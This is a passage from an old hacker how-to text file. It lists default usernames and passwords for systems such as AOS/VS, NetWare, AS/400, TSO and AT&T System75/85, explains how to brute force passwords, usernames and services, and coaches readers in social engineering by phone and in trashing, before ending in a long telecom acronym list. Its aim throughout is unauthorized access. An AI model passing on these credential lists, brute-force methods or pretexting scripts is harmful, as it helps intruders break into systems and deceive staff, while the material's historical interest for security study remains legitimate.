EXPRESS, BATCH
FILE-SAVE
FILESAVE, SAVE
FILE-TRANSFER
FINANCE
FLUSHER
FMS
FMS.PROD
FMS, PROD
GAMES
GAMES.DOS
GAMES
GENERAL
INSTANT
INSTANT.DOS
JOB
INSTANT
KILL
LEARN
LEARN.DLR
LEARN, DLR, LEARNDLR
LOGON
LOTUS
LOTUS.DOS
LOTUS
MAIL.BOX
MAIL
MINDER
MODEM-SECURITY
MOTD.DATA
MOTD
NETCOM
NET.OFF
NETOFF
NETUSER
NETWORK
NEWAC
NOLOG
OLD.USER
ON-LINE-DIAGS
DIAGS
PERFECT-BKGRND
POINTER-FILE
PRICE.DOS
PRICE
PRICES.DOS
PRICES
PROCLIB
PROC, LIBRARY, LIB
PROD
PROMCOR
PROMIS-ARCHIVE
PROMIS, ARCHIVE
PROMIS-BKGRND
PROMIS, BKGRND
PROMO
PWP
QA
QUALITY, CONTROL
SCC.SYSPROG
SCC, SYSPROG
SCREENLIB
SECURITY
SET.PLF
SL
SET, PLF, PLFSET
SPSYM
STUDENT
SUPPORT
SYM.DOS
SYM
SYS
SYS.DOC
SYS
SYSLIB
SYSTEM, LIBRARY, SYS, LIB
SYSPROG
SYSTEM, PROGRAM, SYS, PROG, OPERATOR, DM
SYSPROG-PL
SYSPROG, PL
SYSTEM-ERRORS
TCL
TEMP
TEMP-SYSPROG
TEMP, SYSPROG
TEST
TEST-BKGRND
TEST
TRAINING
TRY.DOS
TRY
ULTICALC
ULTILINK
ULTIMATION
UNIMAX
WORDS
WP
WP.DOS
WP
WP42.DOS
WP, WP42
WP50.DOS
WP, WP50
WP51
WP, WP51
WP51.DOS
WP, WP51
XES
AOS/VS-
AOS/VS is made by Data General Corporation(DGC), and is in
my opinion the worst operating system i've seen yet.
But, in the quest of knowledge, and to broaden your computer
horizons, i suggest that you try to hack even this system,
for what it's worth.
The AOS/VS will usually readily identify itself with a
banner such as;
(yes, i'm overstepping my margin, i apologize)
**** AOS/VS Rev 7.62.00.00 / Press NEW-LINE to begin logging on ****
AOS/VS 7.62.00.00 / EXEC-32 7.62.00.00
11-Jun-93
0:27:31
@VCON1
Username:
The username prompt looks deceivingly like a VMS, but it is
not, and you can be sure by entering garbage for the username
and password. The AOS/VS will reply;
Invalid username - password pair
AOS/VS will not let you know when you've entered an incorrect
username.
And a standard system will let you have 5 tries at a username/
password combination, but after that it gives this annoying
message;
Too many attempts, console locking for 10 seconds
Having the system lock for 10 seconds does really nothing to
the hacker, except slow brute forcing down a small bit(10
seconds).
Anyways, once inside 'HELP' will give you a set of help files
which i didn't enjoy too much, and 'WHO' will list the users
online.
COMMON ACCOUNTS
Username
Password
--------
--------
guest
op
operator, op
sysmgt
sys, mgt, system, man, mgr, manager
test
user
RSTS-
Probably the oldest OS that is still out there is RSTS. RSTS
was a very common OS a decade or so ago, but is now nearing
extinction. However, there are still a few out there on PSNs,
and thus you might want to attempt to hack in.
The RSTS will usually identify itself like;
RSTS V9.7-08
93.06.10
02:36
User:
Before attempting to hack, try the SYSTAT command. It is
likely it will be disabled, but it is worth a try.
RSTS will tell you if the ID you've entered is incorrect with
the error message;
?Invalid entry - try again
The UIDs are in the format xxx,yyy , where x and y are digits.
Just guess at UIDs until you hit one with a password.
Also, the IDs will generally not go above 255 in both the x
and y spots(ie: 255,255 is generally the highest ID).
COMMON ACCOUNTS
WNT-
User ID
Password
-------
--------
1,2
SYSLIB
I really don't know much about Windows NT, mostly having to
do with the fact that it was just released a little while ago
and I have not seen it in action to this date. I don't know
at what time in the future it will become widespread, but for
you future hackers I did a little research and came up with
the two manufacturer defaults; administrator and guest. Both
come unpassworded.. administrator is the equivalent to root
on a Unix, and guest is just as you'd expect .. a low level
guest account. Interestingly enough, in the manuals I saw WNT
sysadmins were encouraged to keep the guest account...
unpassworded at that! Highly amusing.. let's see how long that
lasts! Anyways..
Oh yeah.. case sensitive, too.. I'm pretty sure it is
lowercase, but it is possible that the first letter is
capitalized. Remember that when attempting to brute force new
accounts. Oh, and keep in mind possible accounts such as
"test" and "field" and the such.
COMMON ACCOUNTS
Username
-------administrator
guest
NETWARE-
Novell Netware is the most common PC LAN software and is a
popular among high-schools. The internal (and external for
that matter) security is poor.
COMMON ACCOUNTS
Username
Password
--------
--------
admin
operator, supervisor, sysadm
backup
guest
visitor, user
netware
novell
netware
public
remote
server
staff
supervisor
admin, operator, sysadm, supervis, manager
system1
tape
backup
test
testuser
user
visitor
guest
Sys75/85-
AT&T's System75/85 have made a big splash in recent months
despite their being around for years previous.. mostly due
to codez kids discovering the PBX functions.
Anyways, the hype has pretty much died down so it is probably
safe to post the defaults. If you don't like my doing this,
suck yourself. Anyone with access to this file probably has
them by now anyways. And if not, all the better. Free
information has always been one of our primary goals, and I
don't intend to change that for some insecure pseudo-hackers.
COMMON ACCOUNTS
AS400-
Username
Password
--------
--------
browse
looker
craft
crftpw, craftpw
cust
custpw
field
support
inads
indspw, inadspw
init
initpw
rcust
rcustpw
Another OS that was only really in use before my time, AS-400
is IBM made. I pulled this from the old UPT messages, thanks
to anybody who contributed.
It should in fact identify itself as an AS-400 at login time.
I'm unsure of the case-sensativity of the characters.. i'll
enter them as lowercase, but if unsuccessful use caps.
COMMON ACCOUNTS
Username
-------qsecofr
qsysopr
quser
sedacm
sysopr
user
TSO-
An IBM product, TSO can be found stand alone, but is commonly
found off an ISM.
Upon connect you should see a login prompt that looks like:
IKJ56700A
ENTER USERID-
Or something close.
It will tell you if the username entered is incorrect:
IKJ5642OI
USERID xxx NOT AUTHORIZED TO USE TSO
IKJ56429A
REENTER-
Occasionally some of the accounts will have the STC attribute
and can not be used for remote login.
COMMON ACCOUNTS
Username
Password
--------
--------
admin
adm, sysadm, op
guest
init
maint
systest
test
test1
test
tso
BRUTE FORCE
===========
----------Passwords
=========
Occasionally you will find yourself in a position where you wish to
penetrate a system, but defaults are taken off and social engineering is not
possible.
The dedicated hacker then begins the tedious process of trying password
after password, hoping to crowbar his way into the system. Thus the term
'Brute Force' was born, aptly describing this process.
Brute force is the absolute ugliest way of obtaining an account, but is
is often effective. It is ugly for a number of reasons, having to do with the
fact that you will have to call the system hundreds of times if the account is
not easily brute forced.
However, first i will explain a modified form of brute force; intelligent
brute force. In this process, the hacker tries the users first name, as that
is the most common password of all, and a database of 20-100 common passwords.
The difference between this and the normal brute forcing is you cut your
time down considerably, but your chances of getting in go down as well.
Normal brute forcing is rarely done nowadays; the greats of yesterday
would spend 6 hours at a sitting trying passwords, but people nowadays seem to
think 5 minutes is sufficient. Ugh.
If standard brute forcing is done, it is accomplished with automation,
usually. Meaning the hacker will set up a program or a script file to spew out
dictionary passwords for him, then go to the movies or whatever. Obviously,
any way you do it, standard brute forcing is fairly dangerous. A sysadmin is
more likely to notice you trying a username/password 2000 times than 50. If
you choose to do automated brute forcing, it might be a good idea to set up
a hacked system to do it for you, such as a procured Unix. I would not,
however, suggest wasting the powers of a Cray on such a menial task as brute
force. You can only go as fast as the host system will let you. The danger
in this is obvious, you will have to be connected to the remote system for
a long time, leaving you wide open for a trace. It is up to you.
And, of course, brute forcing requires a username. If you don't have a
username, you are probably out of luck.
One thing you should definetly do is make a list of first names, and make
it fairly complete. Buy/steal a baby names book or look inside your phone
book and copy down the more commmon names on to a piece of paper or into a
file. Other than first names, husband/wife, boyfriend/girlfriend and
childs names are the most common passwords.
Ok, here are the basics to intelligent brute force hacking;
1. try the users first name
2. try your list of first names, male and female
2. try the users first name, with a lone digit(1 to 9) after the
username
3. try the users first name, with a lone digit(1 to 9) after the
username
4. try the users first name, with a letter appended to the end(A to Z)
5. try anything related to the system you are on. If you are on a
VAX running VMS on the Datapac PSN, try VAX, VMS, Datapac, X25, etc
6. try anything related to the company/service the system is owned by.
if the user is on a system owned by the Pepsi Cola company, try
Pepsi, Cola, Pepsico, etc.
7. finally, try passwords from your list of common passwords. your
list of common passwords should not be above 200 words.
The most popular passwords are;
password secret money sex smoke beer x25 system
hello cpu aaa abc fuck shit
Add on popular passwords to that as you see fit.
Remember; most passwords are picked spontaneously, on whatever
enters the users mind at that time(you know the feeling, i bet).
Attempt to get into the users mind and environment, to think what
he would think. If you can't do that, just try whatever comes to
your mind, you'll get the hang of it.
Brute Forcing User Names
========================
A different form of brute force is that when you need a username to
hack passwords from. In order to guess a valid username, you must be on a
system that informs you when your username is invalid; thus VMS and Unix are
out of the question.
There are two types of usernames(by my definition); user and system.
The user usernames are the standard user's usernames. Examples would be
John, Smith, JMS, JSmith, and JohnS.
The system usernames are special usernames used by the system operators
to perform various functions, such as maintenance and testing. Since these
usernames are not owned by actual people(usually), they are given a name which
corresponds to their function.
Guessing either type is usually fairly easy.
User usernames are standardly in one of 2 formats; first name or last name
the more common format being first name. Less common formats are initials,
first initial/last name, and first name/last initial. Occasionally the
username formats will have nothing to do with names at all, and will instead
be 6 or 8 digit numbers. Have fun.
The users of a system will almost always have the same format as
each other. When you guess one, guessing more shouldn't be too hard.
For first names, again consult the list you made from the baby names book.
For last names, construct a list of the most common last names, ideally
out of the phone book, but if you are too lazy your mind will do fine. SMITH
and JONES are the most common non-foreign names.
For initials, use common sense. Guess at 3 letter combinations, and use
sensible formats. Meaning don't use XYZ as a rule, go for JMS, PSJ, etc, to
follow along with common first names and last names.
If you are getting no luck whatsoever, try switching your case(ie: from
all lower case to all upper case), the system might be case sensitive.
Usually guessing system names shouldn't be necessary; I gave a default
list for all the major systems. But if you run across a system not listed, you
will want to discover defaults of your own. Use common sense, follow along
with the name of the new OS and utilities that would fit with that name.
Attempt to find out the username restrictions for that system, if usernames
have to be 6 characters long, try only 6 character user names.
And finally, here is a list of common defaults(they are capitalized for
convienience, but as a rule use lower case);
OPERATOR SYSOP OP OPER MANAGER SYSMAN SYSMGR MGR MAN ADMIN
SYSADMIN ADM SYSADM BOSS MAIL SYSTEM SYS SYS1 MAINT SYSMAINT
TEST TESTER TESTUSER USER USR REMOTE PUB PUBLIC GUEST VISITOR
STUDENT DEMO TOUR NEWS HELP MGT SYSMGT SYSPROG PROD SALES
MARKET LIB LIBRARY FILES FILEMAN NET NETWORK NETMAN NETMGR
RJE DOS GAMES INFO SETUP STARTUP CONTROL CONFIG DIAG SYSDIAG
STAT SYSDIAGS DIAGS BATCH SUPRVISR SYSLIB MONITOR UTILITY
UTILS OFFICE CORP SUPPORT SERVICE FIELD CUST SECURITY WORD
DATABASE BACKUP FRIEND DEFAULT FINANCE ACCOUNT HOST ANON
SYSTEST FAX INIT INADS SETUP
Brute Forcing Services
======================
There is also the time when you are on a server system, and you need
places to go. You will surely be told if the service you've entered is
incorrect, so just try things that come to mind, and the following list;
(the server may be case sensitive..use upper or lower case as you wish)
(NOTE: Try digits(1 +) and letters(A-Z) also)
SERVER NETWORK NET LINK LAN WAN MAN CONNECT LOG LOGIN HELP DIAL
OUT OUTDIAL DIALOUT MODEM MODEMOUT INTERNET TELNET PAD X25 X28 FTP
SYSTEM SYS SYS1 SYSTEM1 UNIX VAX VMS HP CONSOLE INFO CMDS LIST
SERVICES SERVICE SERVICE1 COMP COMPUTER CPU CHANNEL CHANNEL1 CH1
CH01 GO DO ? LOG ID USERS SHOW WHO PORT1 PORT NODE1 NODE LINK1
DISPLAY CONFIG CONTROL DIAGS SYSDIAGS DIAG SYSDIAG HELLO EMAIL
MAIL SET DEFINE PARAMS PRINT PHONE PHONES SESSION SESSION1 BEGIN
INIT CUST SERVICE SUPPORT BUSINESS ACCT ACCOUNT FINANCE SALES
BUFFER QUEUE STAT STATS SYSINFO SYSTAT FTP ACCESS DISK LIB SYSLIB
LIBRARY FILES BBS LOOP TEST SEARCH MACRO CALL COMMANDS TYPE FIND
ASK QUERY JOIN ATTACH JOB REMOTE COM1 COM CALLER LOGGER MACHINE
BULLITEN CLUSTER RUN HELLO PAYROLL DEC
SOCIAL ENGINEERING
==================
-----------------While I am in no way going to go indepth on SE(social engineering) at this
point, i will explain the premise of SE to those new to it.
Social engineering can be defined any number of ways, but my definition
goes along the lines of; "Misrepresentation of oneself in a verbal manner to
another person in order to obtain knowledge that is otherwise unattainable."
Which in itself is a nice way of putting "manipulation, lying and general
bullshitting".
Social engineering is almost always done over the phone.
I'll give an example. The hacker needs information, such as an account,
which he cannot get by simple hacking. He calls up the company that owns the
system he wishes to penetrate, and tells them he is Joe Blow of the Computer
Fixing Company, and he is supposed to fix their computers, or test them
remotely. But gosh, somebody screwed up and he doesn't have an account. Could
the nice lady give him one so he can do his job and make everybody happy?
See the idea? Misrepresentation of the truth; pretending to be someone you
aren't.
If you are skeptical, you shouldn't be. SE is tried and true, due to the
fact that any company's biggest security leak is their employees. A company
can design a system with 20 passwords, but if an uncaring employee unwittingly
supplies a hacker with all of these passwords, the game is over.
You *must* have the voice for it. If you sound like a 12 year old, you
aren't going to get shit. If you can't help it, there are telephone-voice
changers(which any SE practicer should have anyways) that will do it for you.
If the person wishes to contact higher authority(who will probably suspect
somethings up), get mad. Don't go into a rage, but do get angry. Explain that
you have a job to do, and be persuasive.
I won't go more into SE, there are tons of text files out there on it
already. Just remember to keep calm, have a back up plan, and it is a good
idea to have the script on paper, and practice it a bit before hand. If you
sound natural and authorative, you will get whatever you want.
And practice makes perfect.
TRASHING
========
-------Trashing is another thing i will not go too indepth on, but i will provide
a very quick overview.
Trashing is the name given to the process of stealing a companies trash,
then rooting through it and saving the valuable information.
Trashing is practiced most often on the various RBOCs, but if you are
attempting to hack a system local to you, it might be a good idea to go
trashing for a few weeks, you might find a printout or a scrap of paper with
a dialup or username and password written on it.
ACRONYMS
========
-------This is a basic list of H/P acronyms I've compiled from various sources..
it should be big enough to serve as an easy reference without being incredibly
cumbersome
ABSBH:
Average Busy Season Busy Hour
AC:
Area code
ACC:
Automatic Communications Control
ACC:
Asynchronous Communications Center
ACD:
Automatic Call Distributor
ACE:
Automatic Calling Equipment
ACF:
Advanced Communications Functions
ACN:
Area Code + Number
ADPCM:
Adaptive Differential Pulse Code Modulation
AIS:
Automatic Intercept System
ALFE:
Analog Line Front End
ALRU:
Automatic Line Record Update
AM:
Account Manager
AM:
Access Module
AM:
Amplitude Modulation
AMA:
Automatic Message Accounting
AMSAT:
American Satellite
AN:
Associated Number
ANI:
Automatic Number Identification
ANXUR:
Analyzer for Networks with Extended Routing
AOSS:
Auxiliary Operator Services System
AP:
Attached Processor
ARC:
Automatic Response Control
ARP:
Address Resolution Protocol
ARPA:
Advanced Reasearch Projects Agency
ARS:
Automatic Response System
ARSB:
Automated Repair Service Bureau
AT:
Access Tandem
ATB:
All Trunks Busy
ATH:
Abbreviated Trouble History
ATM:
Automated Teller Machine
ATM:
Asynchronous Transfer Mode
AT&T:
American Telegraph and Telephone Company
AVD:
Alternate Voice Data
BCD:
Binary Coded Decimal
BCUG:
Bilateral CUG
BELLCORE: Bell Communications Research
BGP:
Border Gateway Protocol
BHC:
Busy Hour Calls
BLV:
Busy Line Verification
BOC:
Bell Operating Company
BOR:
Basic Output Report
BOS:
Business Office Supervisor
BSC:
Binary Synchronous Module
BSCM:
Bisynchronous Communications Module
BSOC:
Bell Systems Operating Company
CA:
Cable
CADV:
Combined Alternate Data/Voice
CAMA:
Centralized Automatic Message Accounting
CATLAS
Centralized Automatic Trouble Locating & Analysis System
CAU:
Controlled Access Unit
CAVD:
Combined Alternated Voice/Data
CBC
Cipher Block Chaining
CBS:
Cross Bar Switching
CBX:
Computerized Branch Exchange
CBX:
Computerized Business Exchange
CC:
Calling Card
CC:
Common Control
CC:
Central Control
CC:
Country Code
CCC:
Central Control Complex
CCC:
Clear Channel Capability
CCC:
Central Control Computer
CCIS:
Common Channel Interoffice Signalling
CCITT:
International Telephone and Telegraph Consultative Committee
CCM:
Customer Control Management
CCNC:
Common Channel Network Controller
CCNC:
Computer Communications Network Center
CCS:
Common Channel Signalling
CCSA:
Common Control Switching Arrangement
CCSA:
Common Central Switching Arrangement
CCSS:
Common Channel Signalling System
CCT:
Central Control Terminal
CCTAC:
Computer Communications Trouble Analysis Center
CDA:
Call Data Accumulator
CDA:
Crash Dump Analyzer
CDA:
Coin Detection and Announcement
CDAR:
Customer Dialed Account Recording
CDC:
Control Data Corporation
CDI:
Circle Digit Identification
CDO:
Community Dial Office
CDPR:
Customer Dial Pulse Receiver
CDR:
Call Dial Recording
CDS:
Cicuit Design System
CEF:
Cable Entrance Facility
CERT:
Computer Emergency Response Team
CF:
Coin First
CGN:
Concentrator Group Number
CI:
Cluster Interconnect
CIC:
Carrier Identification Codes
CICS:
Customer Information Control System
CID:
Caller ID
CII:
Call Identity Index
CIS:
Customer Intercept Service
CISC:
Complex Instruction Set Computing
CLASS:
Custom Local Area Signalling Service
CLASS:
Centralized Local Area Selective Signalling
CLDN:
Calling Line Directory Number
CLEI:
Common Language Equipment Identification
CLI:
Calling Line Identification
CLID:
Calling Line Identification
CLLI:
Common Language Location Indentifier
CLNP:
Connectionless Network Protocol
CMAC:
Centralized Maintenance and Administration Center
CMC:
Construction Maintenance Center
CMDF:
Combined Main Distributing Frame
CMDS:
Centralized Message Data System
CMIP:
Common Management Information Protocol
CMS:
Call Management System
CMS:
Conversational Monitoring System
CMS:
Circuit Maintenance System
CMS:
Communications Management Subsystem
CN/A:
Customer Name/Address
CNA:
Communications Network Application
CNAB:
Customer Name Address Bureau
CNCC:
Customer Network Control Center
CNI:
Common Network Interface
CNS:
Complimentary Network Service
CO:
Central Office
COC:
Central Office Code
COCOT:
Customer Owned Coin Operated Telephone
CODCF:
Central Office Data Connecting Facility
COE:
Central Office Equipment
COEES:
Central Office Equipmet Engineering System
COER:
Centarl Office Equipment Reports
COLT:
Central Office Line Tester
COMSAT:
Communications Satellite
COMSEC:
Communications Security
COMSTAR: Common System for Technical Analysis & Reporting
CONS:
Connection-Oriented Network Service
CONTAC:
Central Office Network Access
COS:
Class of Service
COSMIC:
Common Systems Main Inter-Connection
COR:
Class Of Restriction
COSMOS:
Computerized System For Mainframe Operations
COT
Central Office Terminal
CP:
Control Program
CPBXI:
Computer Private Branch Exchange Interface
CPC:
Circuit Provisioning Center
CPD:
Central Pulse Distributor
CPMP:
Carrier Performance Measurement Plan
CRAS:
Cable Repair Administrative System
CRC:
Customer Record Center
CRC:
Customer Return Center
CREG:
Concentrated Range Extension & Gain
CRG:
Central Resource Group
CRIS:
Customer Record Information System
CRS:
Centralized Results System
CRSAB:
Centralized Repair Service Answering Bureau
CRT:
Cathode Ray Tube
CRTC:
Canadian Radio-Television and Telecommunications Commission
CSA:
Carrier Servicing Area
CSAR:
Centralized System for Analysis and Reporting
CSC:
Cell Site Controller
CSC:
Customer Support Center
CSDC:
Circuit Switch Digital Capability
CSP:
Coin Sent Paid
CSMA/CD: Carrier Sense Multiple Access/Collission Detection
CSR:
Customer Service Records
CSS:
Computer Special Systems
CSS:
Computer Sub-System
CSU:
Channel Service Unit
CT:
Current Transformer
CTC:
Channel Termination Charge
CTC:
Central Test Center
CTM:
Contac Trunk Module
CTMS:
Carrier Transmission Measuring System
CTO:
Call Transfer Outside
CTSS:
Compatible Time Sharing System
CTSS:
Cray Time Sharing System
CTTN:
Cable Trunk Ticket Number
CTTY:
Console TeleType
CU:
Control Unit
CU:
Customer Unit
CUG:
Closed User Group
CWC:
City-Wide Centrex
DA:
Directory Assistance
DACC:
Directort Assistance Call Completion
DAA:
Digital Access Arrangements
DACS:
Digital Access and Cross-connect System
DACS:
Directory Assistance Charging System
DAIS:
Distributed Automatic Intercept System
DAL:
Dedicated Access Line
DAO:
Directory Assistance Operator
DAP:
Data Access Protocol
DARC:
Division Alarm Recording Center
DARPA:
Department of Defense Advanced Research Projects Agency
DARU:
Distributed Automatic Response Unit
DAS:
Device Access Software
DAS:
Directory Assistance System
DAS:
Distributor And Scanner
DAS:
Dual Attachment Station
DASD:
Direct Access Storage Device
DBA:
Data Base Administrator
DBA:
Digital Business Architecture
DBAC:
Data Base Administration Center
DBAS:
Data Base Administration System
DBC:
Digital Business Center
DBM:
Database Manager
DBMS:
Data Base Management System
DBS:
Duplex Bus Selector
DCA:
Defense Communications Agency
DCC:
Data Country Code
DCC:
Data Collection Computer
DCE:
Data Circuit-Terminating Equipment
DCE:
Data Communicating Equipment
DCL:
Digital Computer Language
DCLU:
Digital Carrier Line Unit
DCM:
Digital Carrier Module
DCMS:
Distributed Call Measurement System
DCMU:
Digital Concentrator Measurement Unit
DCO-CS:
Digital Central Office-Carrier Switch
DCP:
Duplex Central Processor
DCS:
Digital Cross-Connect System
DCSS:
Discontiguous Shared Segments
DCSS:
Digital Customized Support Services
DCT:
Digital Carrier Trunk
DDCMP:
Digital Data Communications Message Protocol
DDD:
Direct Distance Dialing
DDN:
Defense Data Network
DDR:
Datapac Design Request
DDS:
Digital Data Service
DDS:
Digital Data System
DDS:
Dataphone Digital Service
DEC:
Digital Equipment Corporation
DES:
Data Encryption Standard
DF:
Distributing Frame
DGC:
Data General Corporation
DH:
Distant Host
DID:
Direct Inward Dialing
DIMA:
Data Information Management Architecture
DINS:
Digital Information Network Service
DIS:
Datapac Information Service
DISA:
Direct Inward System Access
DLC:
Digital Loop Carrier
DLS:
Dial Line Service
DM:
Demultiplexer
DMA:
Direct Memory Access
DN:
Directory Numbers
DNA:
Datapac Network Address
DNA:
Digital Named Accounts
DNA:
Digital Network Architecture
DNIC:
Data Network Identifier Code
DNR:
Dialed Number Recorder
DNS:
Domain Name Service
DNS:
Domain Name System
DOCS:
Display Operator Console System
DOD:
Department Of Defense
DOM:
District Operations Manager
DPSA:
Datapac Serving Areas
DPTX:
Distributed Processing Terminal Executive
DSC:
Data Stream Compatibility
DSI:
Data Subscriber Interface
DSL:
Digital Subscriber Line
DSN:
Digital Services Network
DSU:
Data Service Unit
DSU:
Digital Service Unit
DSX:
Digital Signal Cross-Connect
DTC:
Digital Trunk Controller
DTE:
Data Terminal Equipment
DTF:
Dial Tone First
DTG:
Direct Trunk Group
DTI:
Digital Trunk Interface
DTIF:
Digital Tabular Interchange Format
DTMF:
Dual Tone Multi-Frequency
DTN:
Digital Telephone Network
DTST:
Dial Tone Speed Test
DVM:
Data Voice Multiplexor
EAEO:
Equal Access End Office
EA-MF:
Equal Access-Multi Frequency
EBDI:
Electronic Business Data Interchange
EC:
Exchange Carrier
ECC:
Enter Cable Change
EDC:
Engineering Data Center
EDI:
Electronic Data Interchange
EE:
End to End Signaling
EEDP:
Expanded Electronic Tandem Switching Dialing Plan
EGP:
Exterior Gateway Protocol
EIES:
Electronic Information Exchange System
EIU:
Extended Interface Unit
EKTS:
Electonic Key Telephone Service
ELDS:
Exchange Line Data Service
EMA:
Enterprise Management Architecture
EO:
End Office
EOTT:
End Office Toll Trunking
EREP:
Environmental Recording Editing and Printing
ESA:
Emergency Stand Alone
ESB:
Emergency Service Bureau
ESN:
Electronic Serial Number
ESP:
Enhanced Service Providers
ESS:
Electronic Switching System
ESVN:
Executive Secure Voice Network
ETS:
Electronic Tandem Switching
EWS:
Early Warning System
FAC:
Feature Access Code
FAM:
File Access Manager
FCC:
Federal Communications Commission
FCO:
Field Change Order
FDDI:
Fiber Distributed Data Interface
FDM:
Frequency Division Multiplexing
FDP:
Field Development Program
FEP:
Front-End Processor
FEV:
Far End Voice
FIFO:
First In First Out
FIPS:
Federal Information Procedure Standard
FM:
Frequency Modulation
FMAP:
Field Manufacturing Automated Process
FMIC:
Field Manufacturing Information Center
FOA:
First Office Application
FOIMS:
Field Office Information Management System
FPB:
Fast Packet Bus
FRL:
Facilities Restriction Level
FRS:
Flexible Route Selection
FRU:
Field Replaceable Unit
FS:
Field Service
FSK:
Frequency Shift Keying
FT:
Field Test
FTG:
Final Trunk Group
FTP:
File Transfer Protocol
FTPD:
File Transfer Protocol Daemon
FX:
Foreign Exchange
GAB:
Group Access Bridging
GCS:
Group Control System
GECOS:
General Electric Comprehensive Operating System
GGP:
Gateway-to-Gateway Protocol
GOD:
Global Out Dial
GPS:
Global Positioning System
GRINDER: Graphical Interactive Network Designer
GSA:
General Services Administration
GSB:
General Systems Business
GTE:
General Telephone
HCDS:
High Capacity Digital Service
HDLC:
High Level Data Link Control
HLI:
High-speed LAN Interconnect
HDSC:
High-density Signal Carrier
HPO:
High Performance Option
HUTG:
High Usage Trunk Group
HZ:
Hertz
IBM:
International Business Machines
IBN:
Integrated Business Network
IC:
Intercity Carrier
IC:
InterLATA Carrier
IC:
Interexchange Carrier
ICAN:
Individual Circuit Analysis Plan
ICH:
International Call Handling
ICM:
Integrated Call Management
ICMP:
Internet Control Message Protocol
ICN:
Interconnecting Network
ICPOT:
Interexchange Carrier-Point of Termination
ICUG:
International Closed User Group
ICVT:
Incoming Verification Trunk
IDA:
Integrated Digital Access
IDCI:
Interim Defined Central Office Interface
IDDD:
International Direct Distance Dialing
IDLC:
Integrated Digital Loop Carrier
IDN:
Integrated Digital Networks
IEC:
Interexchange Carrier
IMP:
Internet Message Processor
IMS:
Information Management Systems
IMS:
Integrated Management Systems
IMTS:
Improved Mobile Telephone Service
INAP:
Intelligent Network Access Point
INS:
Information Network System
INTT:
Incoming No Test Trunks
INWATS:
Inward Wide Area Telecommunications Service
IOC:
Interoffice Channel
IOC:
Input/Output Controller
IOCC:
International Overseas Completion Center
IP:
Intermediate Point
IP:
Internet Protocol
IPCF:
Inter-Program Communication Facility
IPCH:
Initial Paging Channel
IPCS:
Interactive Problem Control System
IPL:
Initial Program Load
IPLI:
Internet Private Line Interface
IPLS:
InterLATA Private Line Services
IPSS:
International Packet-Switched Service
IRC:
Internet Relay Chat
IRC:
International Record Carrier
ISC:
Inter-Nation Switching Center
ISDN:
Integrated Services Digital Network
ISIS:
Investigative Support Information System
ISO:
International Standards Organization
ISSN:
Integrated Special Services Network
ISU:
Integrated Service Unit
ISWS:
Internal Software Services
ITDM:
Intelligent Time Division Multiplexer
ITI:
Interactive Terminal Interface
ITS:
Interactive Terminal Support
ITS:
Incompatible Time-Sharing System
ITT:
International Telephone and Telegraph
IVP:
Installation Verification Program
IX:
Interactive Executive
IXC:
Interexchange Carrier
JCL:
Job Control Language
JES:
Job Entry System
KP:
Key Pulse
LAC:
Loop Assignment Office
LADS:
Local Area Data Service
LADT:
Local Area Data Transport
LAM:
Lobe Access Module
LAN:
Local Area Network
LAP:
Link Access Protocol
LAPB:
Link Access Protocol Balanced
LAPS:
Link Access Procedure
LASS:
Local Area Signalling Service
LASS:
Local Area Switching Service
LAST:
Local Area System Transport
LAT:
Local Area Transport
LATA:
Local Access Transport Area
LAVC:
Local Area VAX Cluster
LBS:
Load Balance System
LCDN:
Last Call Directory Number
LCM:
Line Concentrating Module
LCN:
Logical Channel
LD:
Long Distance
LDEV:
Logical Device
LDM:
Limited Distance Modem
LDS:
Local Digital Switch
LEBC:
Low End Business Center
LEC:
Local Exchange Carrier
LEN:
Low End Networks
LENCL:
Line Equipment Number Class
LGC:
Line Group Controller
LH:
Local Host
LIFO:
Last In First Out
LIP:
Large Internet Protocol
LLC:
Logical Link Control
LM:
Line Module
LMOS:
Loop Maintenance and Operations System
LSI:
Large Scale Integration
LTC:
Line Trunk Controller
LU:
Local Use
LVM:
Line Verification Module
MAC:
Media Access Control
MAC:
Message Authentication
MAN:
Metropolitan Area Network
MAP:
Maintenance and Administration Position
MAP:
Manufacturing Automation Protocol
MAT:
Multi-Access Trunk
MAU:
Multistation Access Unit
MBU:
Manufacturing Business Unit
MCA:
Micro Channel Architecture
MCI:
Microwave Communications, Inc.
MCP:
Master Control Program
MCT:
Manufacturing Cycle Time
MCU:
Multi Chip Unit
MDR:
Message Detail Record
MDS:
Message Design Systems
MDU:
Marker Decoder Unit
MF:
Multi-Frequency
MFD:
Main Distributing Frame
MFR:
Mult-Frequency Receivers
MFT:
Metallic Facility Terminal
MHZ:
Mega-Hertz
MIB:
Management Information Base
MIC:
Management Information Center
MIF:
Master Item File
MIS:
Management Information Systems
MJU:
MultiPoint Junction Unit
MLHG:
Multiline Hunt Group
MLT:
Mechanized Loop Testing
MNS:
Message Network Basis
MOP:
Maintenance Operation Protocol
MP:
Multi-Processor
MPL:
Multischedule Private Line
MPPD:
Multi-Purpose Peripheral Device
MRAA:
Meter Reading Access Arrangement
MSCP:
Mass Storage Control Protocol
MSI:
Medium Scale Integration
MTBF:
Mean Time Between Failure
MTS:
Message Telecommunication Service
MTS:
Message Telephone Service
MTS:
Message Transport Service
MTS:
Mobile Telephone Service
MTSO:
Mobile Telecommunications Switching Office
MTU:
Maintenence Termination Unit
MUX:
Multiplexer
MVS:
Multiple Virutal Storage
MWI:
Message Waiting Indicator
NAM:
Number Assignment Module
NAS:
Network Application Support
NC:
Network Channel
NCCF:
Network Communications Control Facility
NCI:
Network Channel Interface
NCIC:
National Crime Information Computer
NCP:
Network Control Program
NCS:
Network Computing System
NCTE:
Network Channel Terminating Equipment
NDA:
Network Delivery Access
NDC:
Network Data Collection
NDIS:
Network Device Interface Specification
NDNC:
National Data Network Centre
NDS:
Network Data System
NDU:
Network Device Utility
NEBS:
Network Equipment Building System
NECA:
National Exchange Carriers Association
NFS:
Network File Sharing
NFS:
Network File System
NFT:
Network File Transfer
NI:
Network Interconnect
NI:
Network Interface
NIC:
Network Information Center
NIC:
Network Interface Card
NJE:
Network Job Entry
NLM:
Netware Loadable Modules
NLM:
Network Loadable Modules
NM:
Network Module
NMR:
Normal Mode Rejection
NOS:
Network Operating System
NPA:
Numbering Plan Area
NPA:
Network Performance Analyzer
NSF:
National Science Foundation
NSP:
Network Services Protocol
NTE:
Network Terminal Equipment
NUA:
Network User Address
NUI:
Network User Identifier
OC:
Operator Centralization
OCC:
Other Common Carrier
OD:
Out Dial
ODA:
Office Document Architecture
ODDB:
Office Dependent Data Base
ODI:
Open Data Interface
OGT:
Out-Going Trunk
OGVT:
Out-Going Verification Trunk
OIS:
Office Information Systems
OLTP:
